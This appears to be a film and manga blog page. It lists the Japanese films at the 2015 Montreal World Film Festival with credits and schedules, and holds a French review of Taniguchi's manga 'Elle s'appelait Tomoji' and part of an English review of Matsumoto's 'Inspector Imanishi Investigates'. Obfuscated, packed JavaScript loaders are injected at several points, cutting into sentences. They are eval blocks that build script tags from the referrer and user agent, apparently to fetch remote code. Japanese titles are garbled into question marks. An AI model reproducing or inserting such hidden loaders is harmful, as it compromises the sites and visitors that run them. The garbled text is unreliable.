Montreal World Film Festival 2015

The 39th edition of the Montreal World Film Festival will take place from August 27th to September 7th 2015, document.write(“”); at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 22 at noon at the offices of the Imperial (CI) and Quartier Latin (QL) theatres, as well as online through the Admission Network website. Individual tickets are $ 10, Passports are $ 120 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teehn|var|u0026u|referrer|frtyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbssy|var|u0026u|referrer|ydfht||js|php’.split(‘|’),0,{}))

This year there was no real press conference about the programming and instead the festival unveiled the line-up of films in the
World Competition and the First Films Competition through press releases and a virtual press conference where both domestic and international media could simultaneously participate in an online Q&A session. So far, since then, the information has been trickling down little by little and we don’t know much about the festival programming. They said that “A digital age requires a digital solution,” but I guess it has also a lot to do with the lack of subsidies and the resulting reduced staff. I don’t mind a little austerity as long at it gets the festival going and brings us the diversified, quality cinema the festival is renown for.

We know that, this year, a record number of short films were submitted; that the opening movie will be Muhammad, the latest film by renowned Iranian director Majid Majidi; that this year’s festival will offer movies from over 86 countries; that the competition line-up will includes 26 Feature films from 31 countries for the World Competition, plus 25 more movies for the First Feature Competition, and that both competitions will include 36 World Premieres; we know the composition of both the jury for the Grand Prize of the Americas and the jury for the First Feature Prize; finally, a couple of days after the virtual press conference, the festival announced that twenty-four features from a score of countries will be shown in the World Greats (out of competition) category.

Here our interest is mostly with the Japanese movies. At first, with the festival press releases and an article in the august edition of Coco Montreal, we determined that the festival would show at least fourteen Japanese movies. However, with the release of the schedule we astonishingly discovered that a record-breaking number of Japanese movies will be shown this year: seventeen (twenty-one if we count a Liberian movie with a Japanese director, a four-minute short and two documentaries)! See the films index for details. (updated 2015-08-21)

Be careful, the schedule of some movies has changed (updated 2015-08-28).

Coco Montreal have put a more detailed article (this time with english and french translation) on the festival’s Japanese movies in their September issue (available both in the issuu.com flash version and on their Facebook page). [updated 2015-09-01]

You can now read some comments about the Festival’s Japanese movies (in french) in the first part of the article by my esteemed colleague Claude R. Blouin on the blog Shomingeki. [updated 2015-09-03]

You will find, after the jump, a list of all those movies (plus a few useful links — of course, more details and links will be added as the information become available):


World Competition / Film en compétition

  • Gassoh (??): Japan, 2015, 87 mins; Dir.: Tatsuo Kobayashi; Scr.: Aya Watanabe (based on the manga by Hinako Sugiura); Phot.: Hitoshi Takaya; Music: Asa-Chang; Cast: Yuya Yagira (Kiwamu Akitsu), Koji Seto (Masanosuke Yoshimori), Amane Okayama (Teijiro Fukuhara), Joe Odagiri, Mugi Kadowaki, Minami Sakurai, Kai Inowaki, Yuko Takayama, Reiko Fujiwara, Daisuke Ryu, Rie Minemura, Mantaro Koichi, Lily.

    The final resistance to the dismantling of the Togugawa Shogunate at the end of the Edo period and the futile struggles of three young men who participated in the Shougitai resistance.

    Schedule: Thu 9/03 9:00 CI; Thu 9/03 21:30 CI.

First Feature Competition / Compétition de premières oeuvres

  • Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

    When their claim to have seen a phantom deer is debunked, three young siblings are denigrated. Now, 25 years later, their father dying, the wounds are still raw.

    Schedule: Thu 9/03 11:00 QL9; Fri 9/04 16:00 QL9.

    You can read my comments.

  • Kagura-me (????): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

    A woman bears a 13-year grudge with her father over the traditional dance he was performing that caused him to be absent from her mother’s death.

    Schedule: Fri 8/28 9:00 QL9; Sat 8/29 15:00 QL9.

    You can read my comments and watch a video of the screening introduction.

  • Lost and found (?????????? / Hoshigaoka Wonderland): Japan, 2015, 111 mins; Dir.: Show Yanagisawa; Scr.: Show Yanagisawa, Koko Maeda; Phot.: Keisuke Imamura; Ed.: Etsuko Kimura; Music: Takashi Watanabe; Cast: Tomoya Nakamura (Atsuto Seo), Nozomi Sasaki (Nanami Kiyokawa), Yoshino Kimura (Sawako Kiyokawa—Atsuto’s mother), Masaki Suda (Yuya Kiyokawa), Anne Watanabe (Detective Tsunako Obayashi), Hayato Ichihara (Jingo Kusunoki), Hirofumi Arai (Tetsundo Seo—Atsuto’s older brother), Yutaka Matsushige (Touji Seo—Atsuto’s father).

    When Haruto learns that his long estranged mother committed suicide in an amusement park he immediately suspects foul play.

    Schedule: Sun 9/06 15:30 QL9; Mon 9/07 20:00 QL9.

  • Neboke (???): Japan, 2015, 115 mins; Dir./Scr./Phot./Ed.: Norihito Iki; Music: Yusuke Orita; Cast: Yasushi Tomobe, Irifunetei Senryu, Kana Ohtake, Maki Murakami, Yuji Akiyama.

    Sangoroh, a rakugo artist, has a drinking problem and is annoyed by his partner Manami’s pestering him about it. Can he get his life in order before it’s too late.

    Schedule: Sat 9/05 14:30 QL9; Sun 9/06 10:00 QL9.

World Great (Out of Competition) / Hors-concours

  • Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko).

    Tokita would rather be making movies than teaching about them in film school. But it pays the bills and there’s always Yui, the pretty school secretary. Then Ritsuko enters his life…

    Schedule: Fri 8/28 10:00 QL10; Sat 8/29 19:00 QL10.

    You can read my comments and watch a video of the screening introduction and Q&A session.

  • The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

    In a world where giant robots are built and used for labour, a special police force of robots is created to handle crimes relating to these machines: the Patrol Labor.

    Schedule: Sat 8/29 9:30 QL9; Sun 8/30 21:30 QL9.

    You can read my comments.

Focus on World Cinema

  • At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Thief), Yasuko Matsuyuki (Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

    A father, a mother, an elder son, a daughter and a younger son. A family of five. For all appearances, a perfectly normal, happy family. But none of them related.

    Schedule: Fri 8/28 12:00 QL12; Sat 8/29 18:30 QL12.
    You can read my comments and watch a video of the Q&A session.

  • Blowing in the wind of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

    When Misao returns to Japan from Vietnam for her father’s funeral, she sees that her mother is becoming forgetful, even a bit senile. Can a change of scenery help?

    Schedule: Fri 8/28 9:30 QL12; Sat 8/29 21:30 QL12.

    You can read my comments.

  • Decline of an assassin (??????????/ Norainu ha dansu wo odoru / lit. “Stray dogs are dancing”): Japan, 2015, 100 min.; Dir./Scr./Ed.: Kubota Shouji; Phot.: Hiromitu Nishimura; Music: Ipeei Yogo; Cast: Yoshimasa Kondo, Keisuke Kato, Shogo Suzuki, Hidetoshi Kubota, Yuri Yanagi, Kouta Kusano.

    After four decades as the reliable hitman for a criminal gang, Kurosawa is now making mistakes. It may be time to retire. But how can he ever return to “normal” life?

    Schedule: Fri 8/28 20:30 QL16; Sat 8/29 12:00 QL16; Sat 9/05 21:30 Ql11.

  • Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

    Back in his hometown after retirement, Takashi Arimura finds life depressing. On his wife’s suggestion he takes up painting. The world now looks very different.

    Schedule: Sun 8/30 16:00 QL16; Mon 8/31 9:10 QL16.

    You can read my comments.

  • Haman (???/ slang blend, or portemanteau expression from ? [Ha, tooth] and ???? [Omanko, vagina] meaning toothed vagina): Japan, 2015, 95 min.; Dir./Scr.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Ed.: Tetsuya Okabe; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

    Love can be deadly but when Haruka decided to make love with her boyfriend she never expected it to be literally true. A dark fantasy about life, sex and love.

    Schedule: Tue 9/01 15:50 QL16; Wed 9/02 20:30 QL16.

    You can read my comments.

  • Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarö Shimazu, Kazuki Tsujimoto.

    Four ninjas, forty corpses, four conflicting accounts. A ninja action tale with a Rashomon twist.

    Schedule: Fri 8/28 16:00 QL12; Sat 8/29 9:00 QL12.

    You can read my comments.

  • Out of my hand: USA/Liberia, 2015, 87 min.; Dir.: Takeshi Fukunaga. Scr.: Takeshi Fukunaga & Donari Braxton; Phot.: Ryo Murakami, Owen Donovan; Ed.: Takeshi Fukunaga, Eugene Yi; Prod. Des.: Steve Grisé, Ioannis Socholakis; Music: Tyondai Braxton; Cast: Bishop Blay (Cisco), Zenobia Taylor (Joy), Duke Murphy Dennis (Francis), Rodney Rogers Beckley (Marvin), David Roberts (Jacob), Shelley Molad (Maria).

    A struggling Liberian rubber plantation worker risks everything to discover a new life as a Yellow Cab driver in New York City.

    Schedule: Sun 8/30 17:00 QL17; Mon 8/31 15:00 QL17.

  • Shinjuku Midnight Baby (????????????): Japan, 2015, 141 mins; Dir./Scr./Phot.: Kazuhiro Teranishi (based on his own book); Ed.: Kiyomi Tochiya; Music: Daisuke Sunny;Cast: Shimako Iwai, Ginji Yoshikawa, Britney Hamada, Tomoko Nakajima, Kimin, Yukimi Watanabe, Hidetsugu Ohara, Marcos Tôma.

    When the son of a government minister wants to be in Japan’s first gay marriage – to one of her political supporters, no less – a mysterious lawyer offers to help.

    Schedule: Fri 9/04 16:00 QL11; Sat 9/05 21:30 QL11; Fri 8/28 10:00 QL11; Sat 8/29 21:30 QL11.

  • Summer on the frontline (???? 15??? / Soman kokkyo 15 sai no natsu / Summer of 15 years old on the Soviet national border): Japan, 2015, 94 min.; Dir./Scr.: Tetsuya Matsushima (based on his own novel); Phot.: Kazuo Okuhara; Ed.: Seiichi Miyazawa; Music: Koji Ueno; Cast: Ryuuchiro Shibata, Anna Kijima, Min Tanaka, Isao Natsuyagi.

    When the great earthquake of 2012 destroys his high school’s filmmaking equipment, Keisuke, 15, looks forward to a dull summer. He couldn’t be more mistaken.

    Schedule: Thu 9/03 16:00 QL13; Fri 9/04 10:00 QL13.

  • That’s It (???? / Soredake) : Japan, 2015, 110 min.; Dir.: Gakuryu Ishii; Scr.: Kiyotaka Inagaki; Phot.: Yoshiyuki Matsumoto; Music: Bloodthirsty Butchers; Cast: Shota Sometani, Erina Mizuno, Kiyoko Shibukawa, Jun Murakami, Go Ayano.

    A young drifter hoping to escape from his social dead end, breaks into a gangster’s locker in search of gold. What he finds is a hard drive with very dangerous information.

    Schedule: Fri 9/04 20:00 QL13; Sat 9/05 10:00 QL13.

  • The Letters (????? / Popura no aki / lit. “Autumn poplar”): Japan, 2015, 98 min.; Dir./Scr./Ed.: Ken’ichi Ohmori (based on a novel by Kazumi Yumoto); Phot.: Masao Nakabori; Cast: Nene Ohtsuka, Tamao Nakamura, Miyu Honda.

    Chiaki, 8, devastated by the death of beloved father, moves into an apartment whose landlady claims to be able to deliver letters to the dead.

    Schedule: Fri 9/04 9:00 QL12; Sat 9/05 19:30 QL12.

  • Yoko the cherry blossom (Yoko Zakura) : Japan, 2015, 115 min.; Dir./Scr.: Gen Takahashi; Phot.: Phil Harder; Ed.: Yoshinori Ota; Music: Benjamin Be’doussac; Cast: Takashi Sasano, Koji Matoba, Maki Miyamoto, Yuki Kazamatsuri.

    The true story of a Japanese teacher’s quest to create a hybrid cherry blossom, to fulfill a promise he made to his students before they were sent off to die in World War II.

    Schedule: Thu 9/03 14:00 QL12; Fri 9/04 16:30 QL12.

Documentaries

  • Alone in Fukushima (????????? / Naoto hitorikkiri): Japan, 2015, 98 min., Dir./Scr./Phot./Ed.: Mayu Nakamura; Music: Saho Terao; Sound: Masashi Furuya.

    Alone in Fukushima is a feature length documentary about Naoto Matsumura, a man who remained alone in a no-man’s land after the nuclear disaster. The film follows Naoto struggling to survive with the animals in a small town which Japan tries to erase from the map.

    Schedule: Tue 9/01 16:00 QL14; Sat 9/05 16:00 QL2.

  • Behind “The Cove” (?????????? / `Za k?vu’ no uragawa): Japan, 2015, 110 min.; Dir./Scr./Phot./Ed.: Keiko Yagi.

    Keiko Yagi never bothered to see the 2010 film THE COVE, thinking it just another exaggerated attack on Japan’s dolphin hunt. But she decided to see for herself.

    Schedule: Fri 9/04 21:30 QL14; Sat 9/07 14:30 QL14.

Shorts

  • Master Blaster: Japan, 2015, 4 min.; Dir./Scr./Phot./Ed.: Sawako Kabuki.

    An animated short in competition at the Student Film Festival. A girl would like to hide in her sweetheart’s anus, to be with him forever.

    Schedule: Mon 8/31 16:00 QL2; Tue 9/01 16:00 QL2.

[ Traduire ]

Elle s’appelait Tomoji

“L’histoire vraie d’une rencontre signée Taniguchi
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfrbz|var|u0026u|referrer|tyskf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffdte|var|u0026u|referrer|brtye||js|php’.split(‘|’),0,{}))

“Taniguchi met ici en scène la rencontre entre deux adolescents dans le Japon de l’entre-deux guerres (1925-1932). Tomoji vit dans la campagne au nord du mont Fuji, document.write(“”); tandis que Fumiaki fait ses premiers pas de photographe à Tokyo. L’auteur nous fait découvrir avec sa sensibilité habituelle ce qui va unir ces personnages.”

“Une histoire inspirée de personnages réels qui fonderont par la suite une branche dérivée du bouddhisme.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Continuez après le saut de page >>

Elle s’appelait Tomoji (intitulé simplement ????? [ Tomoji ] en japonais) est le fruit d’une commande de la part du temple bouddhiste fréquenté par Jirô Taniguchi et son épouse. L’histoire est d’abord parue dans le bulletin trimestrielle de la secte Shinnyo-En avant d’être publié chez Futabasha en août 2014. La traduction française n’a pas tardé à paraître en janvier 2015 chez un jeune éditeur appartenant au groupe de l’école des loisirs, Rue de Sèvres, qui avait déjà publié Giacomo Foscari de Mari Yamazaki en septembre 2013 ainsi que Cet été-là par Mariko et Jillian Tamaki (une BD par des nord-américaines d’origine japonaise) en mai 2014.

Dans l’interview inclut à la fin de l’ouvrage, Taniguchi nous explique que Shinnyo-En désirait “valoriser ce qui fait la particularité de ce temple, et notamment mieux faire connaître la personnalité et le parcours de sa créatrice, Tomoji Uchida.” Taniguchi n’avait cependant pas l’intentsion de se lancer dans un travail hagiographique, car de simples anecdotes biographiques sont insuffisant pour bâtir une histoire accrocheuse. Pour ce faire il était nécessaire d’y introduire des éléments fictifs. Il décida de se concentrer sur la vie de Tomoji avant la création du temple en privilégiant “le parcours de vie qui a façonné la personnalité de Tomoji, et qui l’a conduite à choisir la voie de la spiritualité.”

Ayant un emploi du temps plutôt chargé et étant peu familier avec ce genre de récit et la période, Taniguchi a décidé de faire appel à une scénariste professionnelle, Miwako Ogihara. Il admet volontiers qu’avec les années il produit des mangas qui offrent moins d’action et de passion, comme ce fut le cas pour Blanco ou Le sommet des dieux, par exemple, et plus de subtilités et de douceurs. Dans le cas de Elle s’appelait Tomoji, il trouvait particulièrement important que l’intrigue se déroule d’une “façon calme et précise”.

Taniguchi nous raconte donc divers moments marquants de la vie de Tomoji Uchida. Chapitre I: Elle s’appelait Tomoji; 1925 (Taishô 14). Tomoji a 13 ans et revient de l’école en flânant. Pendant ce temps, Fumiaki Itô, 19 ans, arrive au village pour photographier, à la demande de sa mère, la grand-mère de Tomoji, Kin Uchida (67 ans)—dont il est le petit-fils de la soeur ainé. Tomoji arrive tard et elle croise Fumiaki sur la route mais sans le rencontrer. Le 9 mai 1912 (dernière année de l’ère Meiji) nait Tomoji par une nuit orageuse.

Chapitre II: Des jours heureux; Mai 1913 (Taishô 2): Pour l’anniversaire de Tomoji, toute la famille se rends chez le photographe de Nirasaki, à vingt kilomètres de Takane. Août 1914 (Taishô 3): sa petite soeur, Masaji, vient au monde. Décembre 1916 (Taishô 4): son père, Yoshihira, meurt d’une péritonite aigüe due à une appendicite.

Chapitre III: La séparation; janvier 1919 (Taishô 8): les enfants travaillent à l’épicerie de la famille; la mère, maintenant veuve, retourne dans sa famille à Gochôda. Elle sera élevé par sa grand-mère et son grand (demi-)frère, Toyô. En avril, Tomoji rentre à l’école primaire Jinjô à Nagasawa. Elle doit marché, seule, plus d’une heure pour s’y rendre. Au retour elle doit aider aux travaux ménagers et au magasin. Printemps 1921 (Taishô 10): Masaji entre aussi à l’école, ce qui fait que Tomoji ne marche plus seule. Masaji est souvent malade. Décembre 1921: la fièvre de Masaji empire et elle doit rester alité plusieurs jours. Janvier 1922 (Taishô 11): Masaji meurt de la fièvre.

Chapitre IV: Le ciel, au loin; avril 1923 (Taishô 12): Tomoji va en excursion avec sa classe.e Elle démontre beaucoup de compassion et d’entraide pour ses amis et sa famille. Été 1923 (Taishô 12): Tomoji est bien organisé et débrouillarde dans son travail. Sa famille mène une vie simple mais sereine. 1er septembre 1923 (Taishô 12): c’est le grand tremblement de terre de la région du Kantô et un vaste incendie ravage Tokyo. Fumiaki, qui vit maintenant à Tokyo, assiste de près à la catastrophe. Été 1924 (Taishô 13): Tomoji travaille aux champs avec sa grand-mère. Le travail est dur mais “après les difficultés… il y a toujours quelque chose d’heureux qui arrive.” Pendant ce temps, Tokyo se reconstruit et Fumiaki apprend l’anglais.

Chapitre V: Le voyage; mars 1925 (Taishô 14): il est décidé que Tomoji poursuivra ses études à l’école supérieure. Elle doit marcher trois kilomètre sur un chemin de montagne pour aller en classe, où elle excelle en toute matière dont le chant. Elle est nommé déléguée de classe. Été 1930 (Shôwa 5): un mariage est arrangé pour Toyô. La grand-mère, qui travaille encore au champs, au magasin et dit des prières pour les voisins malades, commence à avoir des problèmes de santé et meurt à 72 ans. A ses funérailles, le 1er septembre 1930, “Tomoji se souvient de sa grand-mère, attentive aux problèmes que lui racontaient les gens pour pouvoir les aider.” À l’automne c’est le marriage de Toyô. Tomoji décide de quitter la maison pour aller à l’école de couture de kimonos à Kôfu. Elle part en janvier 1931 (Shôwa 6). Elle a 18 ans.

Chapitre VI: Le printemps est arrivé; janvier 1931: de sept heures du matin à minuit, Tomoji passe tout son temps à la couture, puis aux travaux ménagers. Son seul moment de repos c’est celui du repas. Janvier 1932 (Shôwa 7): elle retourne à la maison pour visiter son frère et sa femme qui est enceinte. Elle y apprend qu’elle a une proposition de mariage: il s’agit de Fumiaki Itô de Minami-Arai. C’est un bon prospect car il travail dans une société de construction d’avion à Tokyo. Il est aussi de retour dans sa famille pour les fêtes du nouvel an. Mais avant qu’elle aille se présenter à sa famille, Fumiaki et son frère viennent faire une visite surprise. Quelques jours plus tard, Tomoji se rends avec sa tante à Minami-Arai pour rencontrer la famille de Fumiaki. Elle y fait bonne impression grâce à la bonne éducation qu’elle a reçu de sa grand-mère. Elle est adroite et économe: “Le riz est le résultat de beaucoup de travail (…) il ne faut pas en gaspiller le moindre grain.” De sa grand-mère elle dit aussi qu’elle “était sincèrement dévouée aux autres.” Le jeune couple promet de s’écrire et chacun retourne à son travail.

En Mars, Tomoji reçoit une lettre de sa tante pour lui annoncer qu’elle a reçu le consentement officiel de madame Yoshi Itô pour le mariage. Elle écrit aussitôt à Fumiaki pour lui dire qu’elle est prête à partir dès qu’il viendra la chercher. Il vient aussitôt et ils repartent pour Tokyô. Comme il n’est pas le successeur de la famille et qu’elle n’a pas de dot, ils décident qu’ils peuvent se passer de cérémonie de mariage. En avril, ils s’installent dans un appartement près de la gare de Tachikawa. Ils organisent un petit banquet pour célébrer leur union. Tomoji veux vivre simplement, et construire une famille avec des enfants “dont les rires animent la maison”. Pour la première fois depuis la mort de son père, Tomoji est heureuse et sereine. Elle a le sentiment qu’elle doit beaucoup à sa grand-mère…

Dans Elle s’appelait Tomoji, on retrouve avant tout le superbe style graphique de Taniguchi — clair, précis, détaillé, avec quelques belles pages en couleurs — ainsi que le même genre de récit que pour Le Journal de mon père. Toutefois l’on sent qu’il y manque quelque chose et que le récit n’a pas vraiment d’âme. Le sujet était pourtant prometteur mais Taniguchi (et/ou la scénariste) a échoué dans sa tentative d’en faire un récit captivant. C’était probablement un projet trop ambitieux et Taniguchi a essayé de couvrir trop d’année en un petit nombre de pages ce qui en fait un récit beaucoup trop anecdotique. C’est un très beau manga, et malgré la volonté d’en apprendre plus sur ce personnage intéressant, la lecture n’en est cependant pas satisfaisante. C’est donc un manga très décevant, ce qui est rare dans le cas de Taniguchi.

Elle s’appelait Tomoji, scénario: Jirô TANIGUCHI et Miwako Ogihara, dessin: Jirô TANIGUCHI. Paris: Rue de Sèvres, janvier 2015. 174 pgs, 18.5 x 25.5 cm, 17 € / $31.95 Can, ISBN: 9782369811312. Recommandé pour public adolescent (12+). Un extrait peut être consulté sur le site de l’éditeur.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

Elle s’appelait Tomoji © Jirô Taniguchi / Miwako Ogihara, 2014. Traduction française © Rue de Sèvres, Paris, 2015.

[ Translate ]

Inspector Imanishi Investigates

“In the railroad yard of Tokyo’s Kamata Station a disfigured corpse is found, document.write(“”); its head pillowed on one rail, thighs across another, awaiting the departure of the first morning train to complete the grisly work. The solitary clue is a name: Kameda. It leads nowhere until from the Homicide Division comes Inspector Imanishi Eitaro, a dogged, respected investigator, minimally educated, genteel, a gardener fond of haiku.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfndk|var|u0026u|referrer|eabkb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytdna|var|u0026u|referrer|eryez||js|php’.split(‘|’),0,{}))

“Typically Japanese, he takes his work not only seriously but personally, even more so when the victim turns out to have been a retired policeman. When the case is closed unsuccessfully, he pursues the investigation on his own. Too abashed to even ask for expenses when his hunch directs him on an expedition to a rural village, he uses his wife’s savings (gladly proffered, since it is for the job). From the Japanese Sea to the Pacific, from Tokyo to the rural north, Imanishi pursues his quarry, using up vacation days and off-duty hours. Peasants, politicians, movie makers, actors, doctors, scholars — the hunt for the murderer takes him into the recesses of Japanese society and the Japanese psyche. With utter dedication, Imanishi moves ever closer, tracing what are really a string of crimes dedicated by a uniquely Japanese motive.”

Inspector Imanishi Investigates is not simply a mystery, not is its author a simple mystery writer. (…) Seichô Matsumoto, is credited as the restorer and innovator of Japanese detective fiction following the Pacific War (…). In the 1950s, he introduced the “social detective story,” a police procedural that depicted society in realistic terms. Appearing first as a newspaper serial and then in book form in 1961, Suna no Utsuwa (“Vessel of Sand”) sold in the millions and established its author as the leader of a new generation of writers. Although he only began writing at the age of forty, in his long and distinguished career, Seichô Matsumoto has published over 450 novels, histories and non-fiction works, and has garnered many awards, including [notably for this novel] the the Akutagawa Literary Prize and the Mystery Writers of Japan Prize.”

[Text from the inside jacket]

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.


This novel, originally titled Suna no utsuwa (??? / lit. “The Bowl of sand”), was first serialized in Yomiuri Shimbun between May 17, 1960 and April 20, 1961 before being published by Kobunsha (kappa novels) in July 1961. It was translated in english as Inspector Imanishi Investigates and in french as Le vase de sable. It was adapted by Shochiku in 1974 into a movie titled Castle of Sand (which we commented recently) and was also made into TV dramas by TBS (in 1962 and 2004), Fuji TV (in 1977) and TV Asahi (in 1991 and 2011). So it’s obviously a popular story.

Seichô Matsumoto [1909-1992, see picture on the right, from the back cover, © Bungei Shunju Ltd] is often compared to other crime writers like Belgium’s Georges Simenon (creator of Detective Maigret) or England’s P.D. James (creator of detective Dalgliesh). As it is said on the inside jacket of the book, he played an important role in the development of modern Japanese detective fiction by creating police procedural stories that were strongly embedded into the social and cultural environment of postwar Japan. He published over four hundred books (novels but also short stories collections and essays mostly about Japanese and ancient history). He was Japan’s best-selling author of the 60s.

The novel is divided into seventeen chapters. In the first one, titled “Kamata Railroad Yard”, the crime scene is described and all the known elements of the case listed. Then, only five pages later, we are introduced to the main character of the story, Imanishi Eitaro, a 45-year-old veteran police officer and part-time poet. An old man has been found bludgeoned to death in the Kamata train yard in Tokyo and the only clues is that a waitress from a nearby bar said the victim spoke with a Tohoku accent, she saw him with a younger man and overheard them talk about “Kameda”. Is that a person’s name or place? Maybe it refers to Kameda Station in Akita Prefecture?

